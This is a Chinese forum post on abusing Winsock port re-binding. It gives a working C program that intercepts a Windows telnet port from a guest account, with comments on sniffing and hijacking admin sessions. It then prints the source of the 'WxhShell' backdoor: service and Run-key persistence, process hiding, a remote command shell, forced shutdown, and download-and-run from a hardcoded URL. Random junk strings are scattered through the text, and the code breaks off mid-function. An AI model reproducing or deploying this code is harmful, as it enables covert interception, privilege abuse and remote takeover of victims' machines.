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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3uqhYT;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mOsp~|d  
Z)#UCoK!c  
  saddr.sin_family = AF_INET; WQ.0}n}d  
1*TbgxS~W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); WK>|IgK  
L>h8>JvQ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nTEN&8Y>R  
GT&}Burl/n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -SrZ^  
F^ 75y?  
  这意味着什么?意味着可以进行如下的攻击: 0 Uropam  
&xQM!f  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3 c=kYcj  
00QJ596  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0 5`"U#`:  
lb-1z]YwQ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l?U=s7s0?  
bx8](cT_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4VwF \  
m0"K^p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E[]5Od5#  
~P1~:AT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 P2-&Im`+  
Hsf::K x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _5jT}I<k  
E^axLp>(I  
  #include 8Y?M:^f~  
  #include >1Z"5F7=  
  #include ' rcqy1-&  
  #include    (90/,@6 6l  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _fHml   
  int main() lT^su'+bk  
  {  8s0+6{vW  
  WORD wVersionRequested; FmL]|~  
  DWORD ret; br[iRda@  
  WSADATA wsaData; o8bdL<  
  BOOL val; ^}_Ka//k  
  SOCKADDR_IN saddr; WTJ 0Q0U  
  SOCKADDR_IN scaddr; hzqJ!  
  int err; U#` e~d t<  
  SOCKET s; mLX/xM/T?/  
  SOCKET sc; hy5[ L`B  
  int caddsize; 5I622d  
  HANDLE mt; @%]A,\  
  DWORD tid;   4I$Y(E}  
  wVersionRequested = MAKEWORD( 2, 2 ); u5(8k_7  
  err = WSAStartup( wVersionRequested, &wsaData ); <xOX+D  
  if ( err != 0 ) { Yq+ 1kA  
  printf("error!WSAStartup failed!\n"); Y^eN}@]?&  
  return -1; 7>JTQ CJ  
  } d~LoHp  
  saddr.sin_family = AF_INET; Xu]~vik  
   2?JV "O=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Lgg,K//g  
=&WIa#!=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'a ['lF  
  saddr.sin_port = htons(23); 8D='N`cN+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jj"{C]  
  { k6(7G@@}  
  printf("error!socket failed!\n"); -K64J5|b7  
  return -1; Z}J5sifr  
  } 513,k$7  
  val = TRUE; 4Z"}W!A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m@td[^O-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4l$OO;B  
  { }aZuCe_  
  printf("error!setsockopt failed!\n"); >HP `B2Q H  
  return -1; b(iF0U>&  
  } Yj/afn(Jt  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 'NEl`v*<P  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j/O~8o&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 i5VZ,E^E  
c|&3e84U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7n8nJTU{4j  
  { a+w2cN'  
  ret=GetLastError(); QNj]wm=mp  
  printf("error!bind failed!\n"); Re$h6sh  
  return -1; G;Li!H  
  } (Rw<1q`,  
  listen(s,2); KGz Nj%  
  while(1) 1 /. BP  
  { Bm$|XS3cD  
  caddsize = sizeof(scaddr); l4bytI{63  
  //接受连接请求 DX s an  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :<QknU}dwy  
  if(sc!=INVALID_SOCKET) ".?4`@7F\  
  { XUqorE  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n|(lPbD  
  if(mt==NULL) p5G'})x  
  { jm}CrqU  
  printf("Thread Creat Failed!\n"); QJ|@Y(KV0  
  break; 2HE@!*z9H  
  } H+v&4}f  
  } C8U3+ s  
  CloseHandle(mt); T+kV~ w{  
  } i}-uK,^  
  closesocket(s); AI|vL4*Xd  
  WSACleanup(); @(t3<g  
  return 0; =+zDE0Qs  
  }   smP4KC"I(d  
  DWORD WINAPI ClientThread(LPVOID lpParam) VmS_(bM  
  { |7qt/z  
  SOCKET ss = (SOCKET)lpParam; &N~Eu-@b  
  SOCKET sc; Q_5 l.M/9]  
  unsigned char buf[4096]; 82r8K|L.<y  
  SOCKADDR_IN saddr; -$Oh.B`i  
  long num; c4Ebre-Oa  
  DWORD val; <DF3!r  
  DWORD ret; NXW*{b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 u,^CFws_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hFrMOc&  
  saddr.sin_family = AF_INET; OM86C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |5&+VI  
  saddr.sin_port = htons(23); GEc6;uz<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0U '"@A \  
  { Y|>dS8f;4  
  printf("error!socket failed!\n"); VoU8I ~  
  return -1; {)[o*+9  
  } YvR bM  
  val = 100; r/YJ,2!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) US g"wJY  
  { acd[rjeT  
  ret = GetLastError(); ~iL^KeAp   
  return -1; uo9#(6  
  } h0{X$&:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dSM\:/t  
  { O0  'iq^g  
  ret = GetLastError(); Un?|RF  
  return -1; yW_yHSx;  
  } $J[( 3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @\K[WqF$$q  
  { vsY?q8+P  
  printf("error!socket connect failed!\n"); WtT;y|W  
  closesocket(sc); ~6G `k^!  
  closesocket(ss); &7L7|{18  
  return -1; d$t"Vp  
  } Q:}]-lJg  
  while(1) 2HX/@ERhmu  
  { 0SQ!lr  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j*{0<hZb}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !~ox;I}S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;Afz`Se1@  
  num = recv(ss,buf,4096,0); p~D}Iyww1_  
  if(num>0) b8mH.g&l  
  send(sc,buf,num,0); PDNl]?  
  else if(num==0) b1&tk~D  
  break; a<cwrDZ  
  num = recv(sc,buf,4096,0); amBg<P`'_  
  if(num>0) !/FRL<mp  
  send(ss,buf,num,0); l_I)d7   
  else if(num==0) Gm~([Ln{  
  break; ,f }$FZ  
  } _$~>O7  
  closesocket(ss); 8mI(0m'  
  closesocket(sc); 0At0`Q#  
  return 0 ; c*bvZC^6  
  } je] DR~  
'&IGdB I  
#<{v~sVp&  
========================================================== MIMC(<   
6^`iuC5  
下边附上一个代码,,WXhSHELL  X\^nV  
[doEArwn  
========================================================== )Z7Vm2a  
X\^V{v^-  
#include "stdafx.h" 2]!@)fio`  
xS*UY.>  
#include <stdio.h> HsY5wC  
#include <string.h> -3Kh >b)  
#include <windows.h> 6o't3Peh  
#include <winsock2.h> sSM"~_y\  
#include <winsvc.h> l;-Ml{}|0  
#include <urlmon.h> t7=D$ua  
2Tp2{"sB>A  
#pragma comment (lib, "Ws2_32.lib") S?~0)EXj(  
#pragma comment (lib, "urlmon.lib") gx&es\  
>eJ <-3L;  
#define MAX_USER   100 // 最大客户端连接数 1J?v\S$ma`  
#define BUF_SOCK   200 // sock buffer RGW@@  
#define KEY_BUFF   255 // 输入 buffer 'I[?R&j$G  
fdl.3~.C  
#define REBOOT     0   // 重启 c(Q@5@1y:  
#define SHUTDOWN   1   // 关机 H:fKv7XL  
I}C2;[aB  
#define DEF_PORT   5000 // 监听端口 ddHl&+G  
JT+ c7W7  
#define REG_LEN     16   // 注册表键长度 dN8Mfa)  
#define SVC_LEN     80   // NT服务名长度 Q}BMvR 9w  
\ .xS  
// 从dll定义API v~$ V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wQxI({k@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1@]&iZ]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?f?5Kye  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C'6I< YX  
0eY!Z._^  
// wxhshell配置信息 L2H  
struct WSCFG { qO6M5g:   
  int ws_port;         // 监听端口 wgl<JO  
  char ws_passstr[REG_LEN]; // 口令 tv#oEM9esl  
  int ws_autoins;       // 安装标记, 1=yes 0=no kK &w5'  
  char ws_regname[REG_LEN]; // 注册表键名 yw1 &I^7  
  char ws_svcname[REG_LEN]; // 服务名 ^rWg:fb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wZvv5:jKpu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -Vn#Ab_C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o'2eSm0H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PK|-2R"M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 35\ |#2qw6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =p5DT  
]#:WL)@  
}; ,!orD1,'  
h}O tz "  
// default Wxhshell configuration F!+1w(b:  
struct WSCFG wscfg={DEF_PORT, n !)$e;l  
    "xuhuanlingzhe", R%UTYRLUn  
    1, 0jTReY-W  
    "Wxhshell", #p}GWS)  
    "Wxhshell", O}M-6!%<,  
            "WxhShell Service", +,e#uuj$p  
    "Wrsky Windows CmdShell Service", Xa[k=qFo  
    "Please Input Your Password: ", =j.TDv'^nd  
  1, Af3|l  
  "http://www.wrsky.com/wxhshell.exe", 3$?6rMl@y  
  "Wxhshell.exe" #U:|- a.>  
    }; !M^O\C)  
P6+ B!pY  
// 消息定义模块 nI:M!j5s`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5(>=};r+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ">}6i9o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /,\V}`Lx"  
char *msg_ws_ext="\n\rExit."; -^_2{i  
char *msg_ws_end="\n\rQuit."; /7}pReUj  
char *msg_ws_boot="\n\rReboot..."; fyQOF ItM  
char *msg_ws_poff="\n\rShutdown..."; (b25g!  
char *msg_ws_down="\n\rSave to "; {&5lZ<nu8A  
m8sd2&4  
char *msg_ws_err="\n\rErr!"; *5)UIRd  
char *msg_ws_ok="\n\rOK!"; >Hf{Mx{<  
\jfK']P/H  
char ExeFile[MAX_PATH]; 1!z{{H;W  
int nUser = 0; n`,  <g  
HANDLE handles[MAX_USER]; )vW'g3u_  
int OsIsNt; nPyn~3  
I~4z%UG  
SERVICE_STATUS       serviceStatus; $|K: 9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,L ig6Z`  
|ADf~-AY  
// 函数声明 "&6vFmr  
int Install(void); ^/C\:hw  
int Uninstall(void); }3 xkA  
int DownloadFile(char *sURL, SOCKET wsh); 'f( CN3.!  
int Boot(int flag); X1#Ar)  
void HideProc(void); <>HtXn/  
int GetOsVer(void); x^ `/&+m  
int Wxhshell(SOCKET wsl); VYG@_fd!x  
void TalkWithClient(void *cs); ~?\U];l  
int CmdShell(SOCKET sock); q?!HzZ  
int StartFromService(void); JL M Xkcc  
int StartWxhshell(LPSTR lpCmdLine); =gVMt  
jQ{ @ol}n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0'o[ 2,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <h -)zI  
l7-lXl"%q  
// 数据结构和表定义 Ema[M5$R  
SERVICE_TABLE_ENTRY DispatchTable[] = #/oH #/?  
{ +ktv : d  
{wscfg.ws_svcname, NTServiceMain}, %o?)`z9-  
{NULL, NULL} D Q.4b  
}; ebBi zc=  
r8 9o  
// 自我安装 #b^6>  
int Install(void) UarLxPQ  
{ \F|)w|v  
  char svExeFile[MAX_PATH]; '+9<[]  
  HKEY key; od=hCQ1 >  
  strcpy(svExeFile,ExeFile); orjtwF>^  
p%DU1+SA  
// 如果是win9x系统,修改注册表设为自启动 sxT&T=7  
if(!OsIsNt) { QuR} 6C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cL9 gaD$;)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u}du@Aq  
  RegCloseKey(key); "xlR>M6e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vl:~&I&y;R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MG?,,8sO  
  RegCloseKey(key); m)A:w.o  
  return 0; ?lC>E[  
    } gTj,I=3$?e  
  } =@U5/J  
} OBWb0t5H?  
else { 'I,a 29  
Y(UK:LZ'  
// 如果是NT以上系统,安装为系统服务 ,`f]mv l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Im6gWDdq@6  
if (schSCManager!=0) v0 C+DKi  
{ O#D{:H_dD>  
  SC_HANDLE schService = CreateService '8 .JnCg  
  ( 2M x\D  
  schSCManager, k[f2`o=  
  wscfg.ws_svcname, f&<+45JI  
  wscfg.ws_svcdisp, J4+K)gWB  
  SERVICE_ALL_ACCESS, ]'5Xjcx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qA>#;UTp  
  SERVICE_AUTO_START, {Z2nc)|7C  
  SERVICE_ERROR_NORMAL, k'8tcXs  
  svExeFile, F\eQV<  
  NULL, 5aaM;45C  
  NULL, +jhzE%  
  NULL, Ar<5UnT  
  NULL, NtM>`5{?  
  NULL 30v xOkS  
  ); ]N 9N][n  
  if (schService!=0) [H*JFKpx  
  { &g;!n&d zP  
  CloseServiceHandle(schService); v~ >Bbe  
  CloseServiceHandle(schSCManager); k2 Ju*W&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `,}7LfY  
  strcat(svExeFile,wscfg.ws_svcname); ^BA I/WP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b-ss^UL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ==Egy:<:Q  
  RegCloseKey(key); '&cH,yc;b  
  return 0;  SCfp5W7~  
    } 'vNju1sfk  
  } %SC Jmn2  
  CloseServiceHandle(schSCManager); kt6)F&;$  
} r R6}  
} /Bt!xSI  
 26p[x'W  
return 1; @)d_zWE  
} LK DfV  
UOb` @#  
// 自我卸载 ]@ruizb8  
int Uninstall(void) =\lw.59  
{ # Wi?I =,  
  HKEY key; Nvd(?+c  
lJ;Wi  
if(!OsIsNt) { ht>%O7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q/g!h}>(.  
  RegDeleteValue(key,wscfg.ws_regname); P")I)> Q6  
  RegCloseKey(key); x=cucZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *47/BLys<  
  RegDeleteValue(key,wscfg.ws_regname); JU17]gQ  
  RegCloseKey(key); iyn9[>j e  
  return 0; _M%>Qm  
  } D% jGK  
} G4'Ia$  
} pa46,q&M  
else { ah*{NR)  
u"&?u+1j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hEHd$tH06  
if (schSCManager!=0) PIU@ }:}  
{ H^|TV]^;N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ah1 9#0  
  if (schService!=0)  %W~w\mT  
  { SV o?o|<  
  if(DeleteService(schService)!=0) { x/?ET1iGt  
  CloseServiceHandle(schService); ) (YNNu  
  CloseServiceHandle(schSCManager); l7g'z'G  
  return 0; ~vA{I%z5~  
  } !S=YM<Ad  
  CloseServiceHandle(schService); \2kLj2!  
  } ktrIi5B  
  CloseServiceHandle(schSCManager); Xr  <H^X  
} l_}d Q&R  
} |RL#BKC`  
`h@fW- r  
return 1; \96\!7$@O  
} QdgJNT<=H,  
;mEn@@{  
// 从指定url下载文件 O q$_ q  
int DownloadFile(char *sURL, SOCKET wsh) UF7h{V})  
{ f|,Kh1{e  
  HRESULT hr; 2]vTedSOl  
char seps[]= "/"; wPM&N@Pf  
char *token; s)- ;74(  
char *file; wj6u,+  
char myURL[MAX_PATH]; 5TJd9:\Af  
char myFILE[MAX_PATH]; bY#BK_8 :  
opa}z-7>^  
strcpy(myURL,sURL); MS\vrq'_  
  token=strtok(myURL,seps); ?=9'?K/~a  
  while(token!=NULL) 4`i8m  
  { 41<~_+-@  
    file=token; n725hY6}<l  
  token=strtok(NULL,seps); +vy fhw4  
  } FGi7KV=N  
U5kKT.M  
GetCurrentDirectory(MAX_PATH,myFILE); Rq}lW.<r  
strcat(myFILE, "\\"); {3x>kRaKci  
strcat(myFILE, file); l L;5*@  
  send(wsh,myFILE,strlen(myFILE),0); Nbr$G=U  
send(wsh,"...",3,0); :e7\z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o,WjM[e  
  if(hr==S_OK) 9 " q-Bb  
return 0; hY.i`sp*/  
else ],SQD3~9  
return 1; Ysu\CZGX  
'$OUe {j<  
} ^Oi L&p;r  
fz^j3'!\  
// 系统电源模块 $Wj= V  
int Boot(int flag) }T4|Kyu?  
{ }PJsPIa3j  
  HANDLE hToken; M/6Z,oOU  
  TOKEN_PRIVILEGES tkp; 6 ]x?2P%  
.yy-jf/  
  if(OsIsNt) { ?C[?dg{n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]P3m=/w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 12lX-~[["  
    tkp.PrivilegeCount = 1; MoFM'a9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (|BY<Ac3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ip'tB4Mq  
if(flag==REBOOT) { E<\$3G-do  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bq ED5;d'#  
  return 0; nx'c=gp  
} O=3/ qs6m  
else { ~bZ =]i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0 cycnOd  
  return 0; m}'_Poc  
} XX/gS=NE#.  
  } \Sd8PGl*'  
  else { ;Xt <\^e  
if(flag==REBOOT) { % [$HX'Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7,SQz6]  
  return 0; gNEcE9y 2  
} {K.H09Y  
else { yus3GqPI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a6LL]_&g  
  return 0; n- 2X?<_Z  
} >IIq_6Z#  
} _4N.]jr5  
-F7F 6!s  
return 1; J.yM@wPS>  
} w1G(s$;C  
T2Yf7Szp  
// win9x进程隐藏模块  ?CAU+/  
void HideProc(void) [1vm~w'  
{ g.&B8e  
m,Y/ke\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZK]qQrIwy  
  if ( hKernel != NULL ) {J==y;dK  
  { ==[(Mn,%d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J|BElBY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^^V3nT2rR3  
    FreeLibrary(hKernel); 4<-Kd~uL  
  } ~Y/A]N86,  
Em(_W5 ND{  
return; *|=D 0  
} k K=VG< :M  
;}+M2Ec51  
// 获取操作系统版本 8@rYT5e3c  
int GetOsVer(void) ceG\Q2  
{ zufphS|  
  OSVERSIONINFO winfo; y5sH7`2+5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tLOGj?/r  
  GetVersionEx(&winfo);  Gk~aTO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r)|~Rs!y,  
  return 1; Q("m*eMRt  
  else uU 7 <8G  
  return 0; WPRk>j  
} hq7f"`  
G0 EXgq8  
// 客户端句柄模块 z}Cjk6z@  
int Wxhshell(SOCKET wsl) %<>:$4U@]  
{ $L^%*DkM  
  SOCKET wsh; `NQ  
  struct sockaddr_in client; futYMoV  
  DWORD myID; CC=I|/mBM  
`&A`&-nc=  
  while(nUser<MAX_USER) ,w~3K%B4  
{ 50MM05aC  
  int nSize=sizeof(client); Tm`@5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WVeNO,?ytS  
  if(wsh==INVALID_SOCKET) return 1; !kSemDC  
iTinZ!Ut  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fJ/INL   
if(handles[nUser]==0) 5 &8BO1V.  
  closesocket(wsh); STwGp<8  
else G %sO{k7  
  nUser++; edMCj  
  } G Uu8 N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \) dp  
4dbX!0u1l  
  return 0; Xgx/ubca0  
} $}(Z]z}O;  
x~5,v5R^]  
// 关闭 socket qA '^b~  
void CloseIt(SOCKET wsh) V<9L-7X 8  
{ p-"C^=l  
closesocket(wsh); +1wEoU.l2  
nUser--; 0cG[<\qT  
ExitThread(0); +~V_^-JG&  
} ]izHn;+  
!U?C _  
// 客户端请求句柄 Y)k"KRW+  
void TalkWithClient(void *cs) Ze%S<xT!O  
{ _qE9]mU  
F qJ`d2E  
  SOCKET wsh=(SOCKET)cs; V30w`\1A  
  char pwd[SVC_LEN]; o*204BGB  
  char cmd[KEY_BUFF]; uM$b/3%s  
char chr[1]; Gs~eRcIB  
int i,j; #MY oy7=  
i]<@  
  while (nUser < MAX_USER) { GgE g(AT  
 z/91v#}.  
if(wscfg.ws_passstr) { 6H0kY/quL|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F2zo !a8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oqvu8"  
  //ZeroMemory(pwd,KEY_BUFF); 93n%:?l"<W  
      i=0; B-LV/WJ_  
  while(i<SVC_LEN) { M;XU"8  
fa]8v6  
  // 设置超时 #Tc`W_-  
  fd_set FdRead; Mc c%&j  
  struct timeval TimeOut; 3DO*kM1s@  
  FD_ZERO(&FdRead); J ?{sTj"KB  
  FD_SET(wsh,&FdRead); f=91 Z_M  
  TimeOut.tv_sec=8; eY` z\I  
  TimeOut.tv_usec=0; EJ {vJZO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7d.H 8C2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $E[O}+L$#  
O_ r-(wE4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I0l3"5X a  
  pwd=chr[0]; @8c@H#H  
  if(chr[0]==0xd || chr[0]==0xa) { iJh{ ,0))g  
  pwd=0; `}t5`:#k  
  break; NdJ]\>5oN,  
  } \ 3E%6L  
  i++; \#biwX  
    } 8cfsl lI  
n=b!c@f4  
  // 如果是非法用户,关闭 socket $~q{MX&J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6DHZ,gWq  
} WS&a9!3;  
CHS}tCfos>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y=9fuGL6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b:9"nALgC  
?4%#myO3a  
while(1) { X7*ossv  
KYkS ^v  
  ZeroMemory(cmd,KEY_BUFF); rk %pA-P2  
%l%ad-V  
      // 自动支持客户端 telnet标准   0Bgj.?l  
  j=0; a:P+HU:  
  while(j<KEY_BUFF) { %d:cC:`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q !}~c  
  cmd[j]=chr[0]; vZQraY nJ  
  if(chr[0]==0xa || chr[0]==0xd) { R,.qQF\*  
  cmd[j]=0; yuq o ^i  
  break; !*DY dqQ/  
  } M.SF}U  
  j++; 0XljFQ  
    } y+^KVEw  
%a8e_  
  // 下载文件 SIM> Lz  
  if(strstr(cmd,"http://")) { &9gI?b8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KY2z)#/  
  if(DownloadFile(cmd,wsh)) cC9Zc#aK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 86KK Y2  
  else %*q^i}5)E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OtAAzc!dQ  
  } k{!9 f=^   
  else { BSkmFd(*  
n2o)K;wW+  
    switch(cmd[0]) { ,W 'P8C  
  ;<o?JM  
  // 帮助 @@3 NSKA  
  case '?': { $2]>{g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t0<RtIh9e  
    break; >t9DI  
  } 4<<eqxI$|  
  // 安装 Wf?[GO  
  case 'i': { ?W dY{;&  
    if(Install()) KWYjN h#*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?;w`hA3ei  
    else \u6.*w5TI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q(46v`u  
    break;  ^0{t  
    } Kl?C[  
  // 卸载 WOgkv(5KN  
  case 'r': { A]%*ye"NT  
    if(Uninstall()) PXl%"O%d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q4Wz5n1yp7  
    else sWTa;Qi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VeEa17g&  
    break; ) C\/(  
    } )`<&~>qp  
  // 显示 wxhshell 所在路径 `p)U6J  
  case 'p': {  b utBS  
    char svExeFile[MAX_PATH]; -oZw+ge}  
    strcpy(svExeFile,"\n\r"); T#e|{ZCbq  
      strcat(svExeFile,ExeFile); N3Q .4? z9  
        send(wsh,svExeFile,strlen(svExeFile),0); Z>/ *q2  
    break; W3('1  
    } ]T40VGJ:h  
  // 重启 u!HbS*jqq  
  case 'b': { Ke[`zui@?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <v\$r2C*  
    if(Boot(REBOOT)) r_8;aPL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FBrh!vQ<  
    else { 3k8nWT:wT  
    closesocket(wsh); < h|&7  
    ExitThread(0); %"#ydOy  
    } Y#P!<Q>}  
    break; P=P']\`p+  
    } G ` eU   
  // 关机 h*hkl#  
  case 'd': { Yp3y%n  
